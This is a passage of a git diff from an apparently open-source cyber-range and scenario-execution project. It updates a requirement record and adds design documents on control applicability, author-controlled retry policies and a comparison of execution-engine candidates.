checks) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_retest.py` (Current source-bound formal snapshot validation) +- IMPLEMENTS → CODE_FILE `tools/check_specification_coverage.py` (Versioned specification-coverage release selection) +- VERIFIES → SPEC `docs/research/formal-semantic-validation/bundles/retest-v36.json` (Issue #1016 source-bound formal replay release) +- VERIFIES → SPEC `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1016-v36.json` (Issue #1016 source-bound specification-coverage release) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1016` (Coordinate mixed participant runtimes fail-closed) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1017` (Conform mixed-composition backend capabilities) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1018` (Demonstrate mixed cross-backend participant control) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1019` (Reconcile mixed participant-control claims) - DOCUMENTS → ADR `docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md` (ADR-102: Mixed Cross-Backend Participant Control) -- DOCUMENTS → SPEC `specs/formal/participant-semantics/cross-backend-participant-control.md` (SEM-234 mixed cross-backend participant-control formal design) - DOCUMENTS → DOCUMENTATION `docs/research/cross-backend-participant-control/composition-architecture.md` (Mixed cross-backend participant-control composition architecture) - TESTS → TEST `implementations/python/tests/test_issue_813_cross_backend_participant_control_design.py` (Issue 813 structural acceptance gate) - DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#813` (Design cross-backend participant control against simulation and cyber-range precedents) +- IMPLEMENTS → GITHUB_ISSUE `1355` (Executable mixed mapping, time, stage evidence, and handoff) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_edge.py` (Pinned executable edge, time grant, and independent stage-readback contracts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py` (Mapped bridge call, time grant, and correlated readback enforcement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_handoff.py` (Exact native-owner transfer and readback contracts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py` (Correlated native handoff execution and time-readback enforcement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_result.py` (Separated action stages and shared operation settlement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_phase.py` (Evidenced staged handoff and prior-phase retention) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_boundary.py` (Mixed action outcome settlement under the owning crossing operation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_crossing_action.py` (Partial and unknown action states through the shared operation lifecycle) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store.py` (Run-scoped phase/effect claim exclusion) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_memory.py` (Atomic in-memory mixed claim exclusion) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/control_plane_store_local_records.py` (Atomic durable mixed claim exclusion) +- TESTS → TEST `implementations/python/tests/test_issue_1355_mixed_mapping_time.py` (Executed bridge, time, stage, uncertainty, and handoff witnesses) diff --git a/docs/requirements/SEM-235/requirement.md b/docs/requirements/SEM-235/requirement.md index 721d5c86a..4b78be3a1 100644 --- a/docs/requirements/SEM-235/requirement.md +++ b/docs/requirements/SEM-235/requirement.md @@ -1,12 +1,12 @@ --- id: SEM-235 title: "Modular Participant Control and Extensible Dynamic IFC Semantics" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: MUST wave: 4 created_at: 2026-09-06T00:00:00Z -updated_at: 2026-09-06T00:00:00Z +updated_at: 2026-09-23T00:00:00Z --- # SEM-235 — Modular Participant Control and Extensible Dynamic IFC Semantics @@ -27,6 +27,28 @@ admission, idempotency and finite causal budgets. SEM-233's published security domain and historical meaning shall remain intact; backend integrity outside the declared world shall remain a realization responsibility. +Composition shall distinguish the admitted apparatus from profile obligations, +exact-cut applicable invocations, proven inapplicability and unresolved +coverage. It shall evaluate a finite typed dependency graph with immutable +predecessor results, explicit shared-state scope and atomic state/decision/ +intent commit. Mandatory input closure shall be satisfied without granting +advisory content veto authority. Optional failure shall remain isolated, and +bounded support shall satisfy the admitted requirement's coverage and +constraints. Parent deny/withhold shall retain the same meaning in every phase; +prerequisites and independent or success-dependent consequences shall have +separate target, authority, outcome and ordering relations under CA-01–CA-09. + +Profile support shall distinguish authored obligations and admitted guarantees +from published profile expressibility and backend realization. Independent +owner-qualified confidentiality and integrity requirements shall retain every +required propagation and selective-release distinction; trusted authority +shall cover each discharged obligation. Unsupported expression or realization +shall prevent the affected mandatory release, and unexpected loss of an +admitted guarantee shall not silently weaken the effective binding. Governed +finite publication and exact historical interpretation shall follow +`ifc-profile-variability/rev1`; new syntax or executable extensibility requires +separate justification and supported consumers. + ## Rationale SEM-230 supplies participant-relative flow and SEM-233 supplies its security @@ -36,16 +58,75 @@ identical backend mechanisms or an executable policy language in RAES. ## Fulfillment boundary -The requirement remains DRAFT through #1068. #1070 must publish revisioned -formal clauses, concept-authority placement, lineage, worked examples and -bounded falsification evidence. Downstream contracts, runtime and realization -have separate owners; acceptance of this design is not their implementation. +#1070 publishes sem-235/rev1 formal clauses, concept-authority placement, +lineage, worked examples and bounded falsification evidence. ACTIVE denotes +this semantic fulfillment, authoritative when the delivery PR merges. +Downstream contracts, runtime, conformance and realization have separate +owners; semantic publication is not their implementation. + +## Semantic amendment and evidence boundary + +[ADR-111](../../decisions/adrs/adr-111-control-applicability-and-effect-decisions.md) +and [CA-01–CA-09](../../../specs/formal/participant-semantics/control-applicability-and-evaluation.md) +define the #1352 amendment, `participant-control-applicability/rev1`. +ACTIVE records the accepted semantic contract, authoritative on merge; it +does not assert executable adoption of the amendment. Existing implementation +and evidence links retain their original revision-1 scope. The new finite +model supplies bounded design evidence. Producers and historical readers must +satisfy the [migration contract](../../migration/control-applicability-and-evaluation.md) +before claiming the amended semantics. + +## IFC publication amendment and evidence boundary + +[ADR-114](../../decisions/adrs/adr-114-ifc-profile-variability-and-publication.md) +and [IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md) +publish the #1354 semantic amendment, authoritative on merge. Existing ACTIVE +status and implementation/test links retain their original fulfillment scope. +The new finite witnesses are bounded design evidence, not new portable profile, +owner-aware runtime, installed backend or revised support-negotiation adoption. +The [migration obligations](../../migration/ifc-profile-variability.md) must be +met before claiming those meanings across contracts, live state or history. ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1354` (IFC variability semantic decision; no runtime adoption) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/ifc-profile-variability.md` (IFC-01–IFC-07 semantic publication) +- IMPLEMENTS → ADR `docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md` (Accepted-on-merge publication decision) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1354-ifc-profile-variability-preflight.md` (Architecture constraints and current support limits) +- DOCUMENTS → DOCUMENTATION `docs/research/ifc-profile-variability/cases.md` (Worked cases and bounded evidence) +- IMPLEMENTS → DOCUMENTATION `docs/migration/ifc-profile-variability.md` (Interpretation, conversion and adoption obligations) +- TESTS → TEST `implementations/python/tests/ifc_profile_variability_model.py` (Finite design interpretation; not runtime enforcement) +- TESTS → TEST `implementations/python/tests/test_issue_1354_ifc_profile_variability.py` (Owner, support and publication witnesses) +- TESTS → TEST `implementations/python/tests/test_issue_1354_governance.py` (Real requirement ownership and scope evaluator) + +- IMPLEMENTS → GITHUB_ISSUE `1352` (Applicability, dependency and effect semantic amendment) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/control-applicability-and-evaluation.md` (CA-01–CA-09 semantic contract; not runtime adoption) +- IMPLEMENTS → DOCUMENTATION `docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md` (Accepted-on-merge decision) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1352-control-applicability-preflight.md` (Architecture guardrails) +- DOCUMENTS → DOCUMENTATION `docs/research/control-applicability/cases.md` (Worked cases, clause map and evidence limits) +- DOCUMENTS → DOCUMENTATION `docs/migration/control-applicability-and-evaluation.md` (Historical interpretation and adoption obligations) +- TESTS → TEST `implementations/python/tests/control_applicability_model.py` (Finite applicability/evaluation oracle, reusing revision-1 typed satisfaction) +- TESTS → TEST `implementations/python/tests/test_issue_1352_control_applicability.py` (Bounded semantic counterexamples) +- TESTS → TEST `implementations/python/tests/test_issue_1352_governance.py` (Real ownership and requirement-scope consumer) + +- DOCUMENTS → GITHUB_ISSUE `1072` (API-424 consumes the existing semantic publication without changing its fulfillment boundary) +- DOCUMENTS → DOCUMENTATION `docs/explain/reference/modular-participant-control-contracts.md` (Published contract correspondence and nonclaims) + - DOCUMENTS → GITHUB_ISSUE `https://github.com/OpenRAE/rae/issues/1068` (Modular participant-control architecture) - DOCUMENTS → GITHUB_ISSUE `https://github.com/OpenRAE/rae/issues/1070` (Semantic publication) - DOCUMENTS → ADR `docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md` (ADR-108) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1070-sem-235-architecture-preflight.md` (Issue #1070 semantic publication guardrails) - DOCUMENTS → DOCUMENTATION `docs/research/modular-participant-control/composition.md` (Architectural composition contract PC-01 through PC-15) - DOCUMENTS → DOCUMENTATION `docs/research/modular-participant-control/cases.md` (Worked examples and counterexamples) - TESTS → TEST `docs/research/modular-participant-control/check_design.py` (Bounded abstract-design falsification only) + +- IMPLEMENTS → GITHUB_ISSUE `1070` (Modular participant-control semantic publication) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/modular-participant-control.md` (sem-235/rev1 formal semantic publication) +- IMPLEMENTS → SPEC `specs/concept-authority/participant-control.md` (Revisioned placement in incumbent concept families) +- IMPLEMENTS → CONFIG `contracts/provenance/sdl-lineage-ledger-v2.json` (Exact SEM-235 semantic lineage) +- IMPLEMENTS → DOCUMENTATION `docs/explain/sdl/lineage.md` (Source derivation and nonclaims) +- IMPLEMENTS → CONFIG `tools/policy/requirement_order.yaml` (Bounded semantic-publication ownership) +- TESTS → TEST `implementations/python/tests/sem235_modular_control_model.py` (Finite semantic oracle, not runtime realization) +- TESTS → TEST `implementations/python/tests/test_sem_235_modular_control.py` (Domain, composition, effect and causal witnesses) +- TESTS → TEST `implementations/python/tests/test_sem_235_governance.py` (Real publication ownership evaluator) +- DOCUMENTS → DOCUMENTATION `docs/research/modular-participant-control/semantic-verification.md` (Clause mapping, cases and bounded evidence) diff --git a/docs/research/control-applicability/cases.md b/docs/research/control-applicability/cases.md new file mode 100644 index 000000000..a86dc878a --- /dev/null +++ b/docs/research/control-applicability/cases.md @@ -0,0 +1,119 @@ +# Control applicability: worked cases and evidence limits + +Authority: [ADR-111](../../decisions/adrs/adr-111-control-applicability-and-effect-decisions.md) +and [CA-01–CA-09](../../../specs/formal/participant-semantics/control-applicability-and-evaluation.md). +These are semantic-design cases. They do not report deployed-provider behavior. + +## Cases + +**A — One apparatus, disjoint sinks.** B admits ingress provider A and egress +provider B. At ingress cut K0, the ingress obligation maps to A's fact slot and +the egress obligation has profile-owned inapplicability evidence. Invoke A, +retain both providers in B, and record the complete coverage. At egress K1, +resolve coverage again and invoke B. Filtering B and comparing the filtered +digest to the admitted digest fails this case; retaining B but requiring every +binding to match both sinks also fails it. + +**B — Nothing returned versus nothing required.** A required profile applies +at K0 but maps to no slot: coverage is unresolved and the parent cannot release. +A resolver returning no request gives no contrary evidence. If the profile's +trusted relation proves it inapplicable at K0, no slot is needed. Even that +valid empty evaluation cannot override a failed incumbent authority gate. +K0's proof does not establish non-applicability at K1. + +**C — A → B → A.** A resolves influence; B receives that exact fact and emits +an advisory assessment; A's rule receives that exact assessment and decides. +The rule's availability dependency makes B's valid input required. B's negative +opinion is not a veto: the admitted rule can permit. Missing B prevents the +rule from running successfully. Calling A and B once each with the same empty +predecessor request cannot produce this relation. Independent input order +changes no result, but dependencies still constrain invocation. + +**D — Optional failure without permission.** An optional monitor outside M +times out, returns a wrong slot/cut/kind, raises a private error or has no +supported implementation. Record safe lost advice and omit its state/effects; +the mandatory plan is unchanged. If a mandatory rule needs its input, loss +blocks that rule. A malformed shared apparatus or forged global authority is +not an optional provider failure. Optional conflicting routes are omitted; +they cannot block a mandatory route through shared conflict accounting. + +**E — Support against a requirement.** An evidenced one-unit loss satisfies a +compatible admitted bound of two units. It fails an exact zero-loss +requirement; two units fail a one-unit requirement. Missing evidence fails. +These numbers are one toy dimension, not API-407's general support ranking. +An authorization to change requirements cannot make the old requirement true. + +**F — False trigger.** A mandatory teaching rule evaluates valid influence +but its condition is false. Its explicit not-triggered result satisfies rule +evaluation and requests no inject. An omitted rule result or an exception does +not establish a false trigger. Original teaching-domain propagation and memory +rules remain unchanged. + +**G — Denial is not a later operation.** A mandatory parent denial is encoded +with predecessor, subsequent or independent phase in a legacy-shaped +counterexample. The conservative semantic projection is deny in every case; +the new live contract uses an unscheduled decision. Withhold likewise never +becomes permit. A prerequisite awaiting review must not downgrade deny to +withhold. This projection is a design witness, not a historical wire rewrite. + +**H — Audit of denial.** A rule permits a bounded audit for a denied parent. +Commit the deny and separately admitted audit intent. Deny remains final for +that candidate. No audit dispatch is eligible without its own authority, +support, target and allowed-trigger disposition. Audit failure cannot promote +or reverse the parent. Subject-visible audit existence still needs projection. + +**I — Review before release, consequence after application.** A parent that +otherwise permits requests required review and a post-application follow-up. +It is withheld while review is pending. Successful review permits a fresh +evaluation, never automatic release; a new denial still blocks. The follow-up +waits for the actual parent-application receipt, not merely the evaluation's +commit. If review itself waits for parent success, the combined graph cycles +and must be rejected. An optional follow-up failure does not undo application. + +**J — State and commit.** Two participants have separate state cells despite +using one implementation. An admitted evaluation-state update may commit with +deny; a parent-release update may not. Competing unordered writes to one cell +conflict in either order. A stale expected head or failed commit publishes +none of the cells, decision or intents. Ordered tentative-state chains require +the explicit dependency extension; the bounded model deliberately exercises +the conservative conflict alternative only. + +**K — Archive and adoption.** Retain a v1 evaluation and its original claims, +budget consumption and receipts. An amended reader selects its original +interpretation; it cannot infer missing coverage, produce a new denial record, +or release a formerly unapplied effect through a new reducer. A producer using +the amendment requires negotiated reader/protocol support. Unsupported or +unverifiable archives remain preserved and explicitly limited. This case is a +normative migration walkthrough; no new wire/store reader ships here. + +## Verification map + +The finite model reuses `sem235_modular_control_model.Result`, `Slot` and +`compose` for typed satisfaction. It adds a bounded invocation/coverage +projection and separate parent/effect and atomic-state relations. The new +module is `implementations/python/tests/control_applicability_model.py`; its +property cases are `test_issue_1352_control_applicability.py` in the same directory. + +| Clause / acceptance | Artifact and evidence | +| --- | --- | +| #1352 AC1; SEM-235 applicability/coverage | CA-01; cases A/B; disjoint-sink and missing/unresolved-coverage tests. | +| #1352 AC2; SEM-235 dependency/state/commit; API-424 input contract | CA-02/05/08; cases C/F/J; permutation, immutable-input, false-trigger, graph and atomic-commit tests. | +| #1352 AC3; parent/effect meaning and phase | CA-06/07; cases G/H/I; six phase/decision combinations, independent-audit and combined-cycle tests. | +| #1352 AC4; mandatory closure, optional failure and support | CA-03/04; cases C/D/E; six optional-failure variants and five support-bound combinations. | +| #1352 AC5; canonical publication and migration | ADR-111, ADR-108 explicit amendment, both requirement records, CA-09 and the migration contract; case K is a specification walkthrough, not tested reader adoption. ADR pins and requirement-scope checks validate publication structure. | +| SEM-235 retained domains, orders, joins, propagation, memory, releases, provenance, freshness, budgets and world boundary | Original MPC-04/08–15 and `test_sem_235_modular_control.py`; the amendment explicitly preserves those clauses. | +| API-424 retained closed contracts, exact bindings, typed status/effects, no executable authority and separation of declaration/realization | Original reference contract and published v1 models; `test_api_424_composition_derivation.py` remains a bounded legacy consistency witness. Migration requires consumer-level evidence for amended fields and joins. | + +The initial red run produced 24 failures and two passing boundary cases against +an empty model relation. The implemented relation passes all 26 cases. +The preserved SEM-235/API-424 baseline passed 47 tests. This records development +evidence, not a general proof or a claim that a production defect is repaired. + +The model assumes trusted profile applicability, resolved complete K, +authorized projected input, scalar support evidence and exact owner receipts. +Immutable replacement assumes local atomicity. It bounds invocation graphs to +16 nodes and uses finite test inputs and permutations. It does not implement +wire parsing, real providers, concurrent stores, ordered shared-state chains, +optional effect-conflict selection, cross-store transactions or migration +readers. Those obligations remain normative and require the real-consumer +evidence specified by the migration contract before adoption is claimed. diff --git a/docs/research/execution-architecture/README.md b/docs/research/execution-architecture/README.md new file mode 100644 index 000000000..8208ca51f --- /dev/null +++ b/docs/research/execution-architecture/README.md @@ -0,0 +1,53 @@ +# Execution architecture — issue #1350 + +The accepted decision is [ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md): +self-hosted Temporal and PostgreSQL for distributed execution, existing library +and SQLite compositions for local profiles, with RAE retaining semantic authority. +No paid software is required. This delivery selects and documents the design; +it does not deploy a service, add runtime dependencies or enable P3. + +The scope includes CTFs, OT twins, AI security research/sandboxes, product testing +and mixed IT/OT disaster recovery. Their failure responses and validity rules +can differ, including within one scenario. Authors select contextual policies, +scenario defaults, nested defaults and local overrides; engine retries cannot +supply those decisions. + +## Reading order + +1. [ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md): selection, + component/interface diagram, responsibilities, deployment and consequences. +2. [Authored failure/retry policy](authored-retry-policy.md): contextual responses, + scoped defaults, attempts, fresh trials and the implementation boundary. +3. [Execution protocol](execution-protocol.md): authorization, ledger/engine + reconciliation, stale ownership, partitions and restore. +4. [Candidate comparison](candidate-comparison.md): mechanisms, free-software + observations, retained duties and selection rationale. +5. [Experiment report](experiment-report.md), [sources](experiments/README.md), + [original evidence](evidence.json), and [local recheck](local-recheck.json). +6. [Requirement disposition](decision-discussion.md) and + [preflight](../../decisions/issue-1350-execution-architecture-preflight.md). + +## Evidence provenance + +The workspace contained the seven-candidate experiment bundle when this delivery +began. Its thirteen source hashes match the retained files. The original report +and [cleanup record](cloud-cleanup.json) describe that earlier synthetic cloud +run; this delivery did not provision cloud resources. A new local run rechecked +AnyIO, SimPy, DBOS, Temporal and SQLite publication with the same source bytes, +and ran the three witness tests. A further Temporal run checked terminal status +and result/error types through a verifier with four negative-control tests, +while keeping the original thirteen source files unchanged. +ROS/Ray/BehaviorTree.CPP results remain from the +original retained run. The two evidence records must not be conflated. + +The [issue](https://github.com/OpenRAE/rae/issues/1350), +[#1348 decision](../../decisions/issue-1348-operation-lifecycle.md) and +[Hub #3](https://github.com/OpenRAE/hub/issues/3) establish scope and responsibility. +RAE determines admitted execution and validates outcomes; backends realize +resources, report effects and enforce contextual limits. A cancellation receipt, +engine success, checkpoint or process death cannot establish physical cessation. + +Production persistence, tenant isolation, distributed ownership, co-simulation +fidelity and backend containment are not demonstrated by these bounded probes. +The design states how to handle their limits and what executable delivery must +verify. It does not use the local quickstart to limit either backend product. diff --git a/docs/research/execution-architecture/authored-retry-policy.md b/docs/research/execution-architecture/authored-retry-policy.md new file mode 100644 index 000000000..3da8741b7 --- /dev/null +++ b/docs/research/execution-architecture/authored-retry-policy.md @@ -0,0 +1,169 @@ +# Author-controlled retries and scoped defaults + +Design adopted by [ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md) +for #1350. This is a semantic integration design, not published SDL syntax or a +new executable retry contract. Extend the existing owning contracts before +claiming support. No engine-specific retry fields enter the authored language. +Retry is one part of a contextual failure-response policy, not a universal +failure handler shared indiscriminately by experiments, twins, OT and IT. + +## Context determines the permitted response + +The common operation lifecycle records facts; it does not impose the same +recovery action or validity meaning on every world. Resolve policy against the +authored purpose, effect contract, operating mode, time/fidelity requirements, +and actual backend guarantees. The following are examples of selectable +policies, not automatic rules inferred from an `IT` or `OT` label: + +| Context | Example response and required evidence | +| --- | --- | +| Controlled experiment | Mark this trial failed/invalid under the experiment contract, retain every attempt and observation, then request a separately admitted fresh trial if allowed. An idempotent retry may still bias results and is not automatically permitted. | +| Discrete or continuous digital twin | Hold advancement at a supported boundary, invalidate or qualify the affected state/time interval, and reconcile model/plant state before continuation. Re-reading a sensor, rewinding time or restoring a model checkpoint may change the experiment or break coupling; none is an ordinary transport retry. | +| Live OT or hardware-in-the-loop | Request the backend's admitted safe-hold/controlled-stop procedure, or a specified continuing mode where stopping is unsafe. Require process-state, interlock and operator authorization evidence where the authored contract demands it. Reissuing an actuator command, rebooting a controller or restoring an IT snapshot is not a generic recovery strategy. | +| Disposable IT test/CTF | An author may allow rebuilding a VM, restoring a known snapshot, then retrying after verified clean-state admission. That policy is inappropriate for resources the scenario is required to preserve. | +| Stateful IT/product or disaster recovery | Reconcile transactions, external services, data consistency and recovery objectives before selective retry/restore. IT is not inherently reversible or idempotent; externally visible effects may be as non-repeatable as OT actions. | +| Mixed IT/OT scenario | Apply each scope's effect and failure policy while preserving cross-scope dependencies, shared resources and time coupling. Restarting an IT gateway must not silently authorize another plant action or invalidate a twin's admitted state. | + +Failure handling must distinguish infrastructure/delivery failure, backend +refusal, operation failure, deliberate in-world faults, loss of fidelity/time +continuity, and invalid experimental evidence. Do not let an infrastructure +reconciler repair an intentionally injected outage, or let a cleanup failure +disappear behind a primary success. RAE selects only the permitted response +using the canonical workflow/time/trial owners; the backend establishes whether +the concrete response is possible and what it actually did. + +Convenience defaults can select reusable context policies and narrower scopes +can choose different ones. At admission, validate their interactions: one +scope's reset can affect another scope's equipment, data or clock. An +incompatible composition is refused, not resolved by whichever scope retries +first. No backend or engine supplies an unrecorded domain policy. + +## Choices and identities + +Idempotency describes an effect's repeat behavior; permission describes whether +the author wants repetition. Both must hold where required. An idempotent call +can still invalidate an experiment through repeated observations, elapsed time, +cost or participant exposure. RAE must support these distinct authored choices: + +| Author choice | Meaning | +| --- | --- | +| Never repeat | At most one effect invocation for this admitted occurrence. A failed or uncertain invocation cannot cause another effect merely through retry/recovery. | +| Bounded retry in this trial | Retry only for selected failure/effect classes, within attempt and time budgets, after the declared safety and cleanup conditions hold. This can require verified absence, scoped backend idempotency, reset or compensation. | +| End this trial; request a fresh trial | Preserve the failed/invalid trial and its evidence. Admit a new trial through the experiment authority, with a new run identity, declared initialization/variation and verified isolation/cleanup. Do not increment a workflow retry counter and relabel the old trial as successful. | + +Fresh-trial policy applies only where a trial context exists and its owning +experiment plan permits allocation; reject it on an ordinary operation lacking +that authority. Authors can allow bounded retries followed by a fresh trial on +exhaustion, or choose a fresh trial immediately. The trial allocation budget is +independent of within-trial attempts; neither can be unbounded by omission. + +Keep four identities separate: engine delivery/task attempt; one permitted +backend invocation; authored workflow/execution attempt; experimental trial. +Redelivering a reference to the same invocation never allocates another one. +An explicitly admitted retry gets its own invocation/attempt identity and +provenance; a fresh trial gets its own run identity. Engine reset, restart and +Continue-As-New are not any of those author decisions. + +## Scope resolution + +Use the existing [lexical scope principle](../../../specs/sdl/recursive-realization-constraints.md#2-records-scopes-and-closure): +scenario default, enclosing scope defaults, then the most-specific explicit +operation/occurrence policy. Reuse canonical semantic addresses and bounded +reference resolution. This reuses scope mechanics, not the open/closed value +vocabulary: closure does not imply a retry policy. + +1. A missing local policy inherits. An explicit never-repeat policy is a value, + not omission; a locally stricter or more permissive default affects only that + subtree. A concrete child choice can override a convenience default, subject + to binding requirements and admission. Siblings keep their inherited policy. +2. Resolve a **complete policy** at the nearest defining scope. Do not combine + unrelated fields from different levels into an accidental policy, such as a + child's reset mode with a parent's idempotency assumptions. Reusable named + policies provide concise authoring; any later partial-overlay syntax must + normalize to the same complete, validated value with field provenance. +3. Duplicate definitions at the same semantic scope, ambiguous targets, cycles, + unsupported versions and conflicting binding constraints are admission + errors. Import order, list order and engine defaults never break a tie. + Reusable definitions retain lexical binding; execution at a call site cannot + silently change them. An explicit application-site policy is validated as a + new local choice before the compiled plan is admitted. +4. Defaults are convenience, not a way to weaken a required guarantee, bypass + backend policy or grant authority. Resolve the author's desired policy, then + validate the entire composition. Refuse incompatibility instead of silently + clamping to fewer retries or substituting a new trial. +5. If no scope supplies permission to repeat, permit no second effect. This is + a specified conservative fallback, not an implementation library's default. + The author remains free to select a different scenario-wide default. +6. Materialize the resolved policy and defining scope/reference/version into the + admitted plan and operation commitment. Record changes as new admissions; + editing a scenario default cannot retroactively alter an active invocation, + a restored operation or historical evidence. + +Conceptual examples, **not YAML syntax**: + +| Scenario default | Nearer scope or local choice | Effective result | +| --- | --- | --- | +| Never repeat | Setup scope: at most three total attempts, admitted idempotency required | Setup may retry only under that condition; other operations remain one-shot. | +| Setup policy above | One actuator operation: never repeat | That operation remains one-shot, including after worker loss. | +| Bounded idempotent retry | Measurement scope: end this trial and request a fresh trial | Measurements never repeat within the same trial, even if technically idempotent. | +| Never repeat | No local choice | Inherit never repeat; no annotations are needed on every operation. | + +## Effective policy and runtime admission + +The normalized contract must identify its context/profile and revision, +failure classification, validity consequences, permitted response (for example +abort, hold, reconcile, continue at a verified boundary, retry or fresh trial), +and required operator/backend evidence. It must also identify the retry unit, +permitted effect-knowledge classes, total-attempt limit including the first attempt, +delay/backoff and clock basis, total budget, required safety/cleanup evidence, +and exhaustion disposition. Fresh-trial selection additionally binds trial +allocation authority and limits. Reuse `ExecutionRetryPolicyModel`'s existing +`max_attempts` and `after_effect_policy` meanings (`disallow`, `idempotent`, +`reset`, `compensate`) where applicable. Do not infer never-repeat solely from +`after_effect_policy=disallow`: that field addresses after-effect repetition, +while verified absence can have different admitted semantics. + +Current SCE-007 cleanup policies do not provide general lexical inheritance, +failure-class/backoff selection or fresh-trial policy. These need governed +extensions under DSL-113/SEM-203 and SCE-002/006/007/EXP-706, not a free-form +metadata dictionary or a second workflow interpreter. Existing explicit workflow +retry bounds remain binding; nested policies must account for every actual +effect and must not multiply hidden retries at transport, activity and workflow +layers. Exhausted budgets do not reset on process restart or scope inheritance. + +Before each permitted invocation, RAE rechecks current scope authorization, +policy identity, remaining budgets, backend capability/willingness, reservation +conflicts and required evidence. Backend idempotency needs a defined key, scope, +retention interval and behavior under duplicate/concurrent requests; an author +label is insufficient. Known absence is not cessation if an old caller can +still act later. Concurrent repetition requires explicit proven-safe semantics; +sequential attempts remain the default. Unknown effect state never becomes +safe merely because a worker disappeared. + +Reset, compensation and fresh-trial initialization are effects with their own +admission, failure, observation and cleanup obligations. A requested reset does +not establish clean state. An unreconciled old trial cannot share resources with +a new trial unless admitted isolation actually separates their effects. Preserve +the old failure, cleanup result, lineage and any experiment validity decision. + +## Engine mapping and verification obligations + +Use Temporal's bounded scheduling and retry facilities when they can enforce +the effective policy through current RAE admission on every dispatch. Otherwise +schedule separately admitted single-attempt activities. Never turn engine retry +numbers into the author-visible attempt history. Bookkeeping retry and workflow +replay must not invoke an effect again. Observation can itself affect a system, +so classify it by its admitted effect contract rather than assuming all reads +are harmless. + +The public-contract and implementation deliveries must test scenario defaults, +nested overrides, sibling isolation, explicit never-repeat, duplicate scopes, +definition/call-site binding, bounded normalization, incompatible guarantees, +scope reordering, missing policy, policy edits during recovery, budget exhaustion, +and no retry multiplication. Exercise different failure responses for the same +technical exception under experiment, twin, OT and IT policies, plus conflicting +responses across mixed scopes and preservation of intentional faults. +Exercise the same idempotent backend under both +retry-allowed and retry-forbidden policies, plus fresh-trial allocation and +cleanup failure. Those are behavioral gates for the later executable surface; +this design does not claim they pass today. diff --git a/docs/research/execution-architecture/candidate-comparison.md b/docs/research/execution-architecture/candidate-comparison.md new file mode 100644 index 000000000..cc79a72dd --- /dev/null +++ b/docs/research/execution-architecture/candidate-comparison.md @@ -0,0 +1,134 @@ +# Candidate comparison + +Status: supporting comparison for the selection in +[ADR-113](../../decisions/adrs/adr-113-reusable-execution-machinery.md). +Sources checked 2026-09-23; exact tested +versions are recorded in [evidence](evidence.json). Integration assessments below +are engineering inferences from those sources, the probes, and RAE's existing +contracts. They are not throughput measurements or a complete package audit. + +## Criteria + +RAE must discharge its duties: authored retry, continuation, trial, time, refusal +and cleanup rules; one operation-state authority; bounded supervision; and +validated external-effect evidence. Backend cooperation is expected. Backends +retain realization, observations and contextual limits under the +[responsibility boundary](../../decisions/adrs/adr-113-reusable-execution-machinery.md#2-keep-the-ecosystem-and-runtime-boundaries). + +Every candidate has limits. Evaluate the complete composition: useful mechanism, +remaining runtime duty, backend obligation, required handling and residual limit. +A limitation alone is not a rejection; an unfulfilled required duty is. Keep +untested handling distinct from demonstrated handling. Maintenance and deployment +work must be recorded, but cannot override the separation of duties. The bounded +probes do not justify a numerical ranking or prove any composition complete. + +P0 remains an in-process library profile. An optional external worker does not +by itself introduce multiple state owners, but a mandatory remote orchestration +service would change that deployment contract. P1/P2 preserve their existing +declared authority boundaries. Neither distributed workers nor framework HA +establish RAE's unavailable P3 profile. + +The earlier evaluation uses a design case of 15 federated tenants, hundreds of +nodes and tens of agents per scenario, without measured capacity evidence. +Local profiles are compatibility obligations, not the +platform's ceiling. The distributed design must extend the currently missing +coordination and tenant guarantees explicitly. Prefer established components +for distributed execution; custom code should implement RAE-specific semantics +and integration, not replace a mature queue, scheduler or recovery engine. + +## Mechanisms and responsibilities + +| Candidate | State and worker ownership; supervision/scheduling | Persistence and failure isolation | Reuse and retained RAE duties | +| --- | --- | --- | --- | +| Python asyncio/AnyIO | RAE retains its owner; task groups, capacity limiters and worker APIs manage execution. Control capacity must be separated from occupied effect capacity. | No new durable history. Existing RAE stores retain operation authority. Threads share the host process; process workers isolate local execution but not already dispatched remote effects. | Reuse concurrency and process primitives. RAE still implements dispatch/reservation lifecycle, scoped cancellation, bounded observation, truthful outcome mapping and startup reconciliation. Small dependency surface does not make that work trivial. | +| DBOS | An embedded engine owns workflow/step bookkeeping and queues. RAE would bind those records to its admitted operation rather than equate their states. | SQLite or Postgres system DB; interrupted steps can run again on 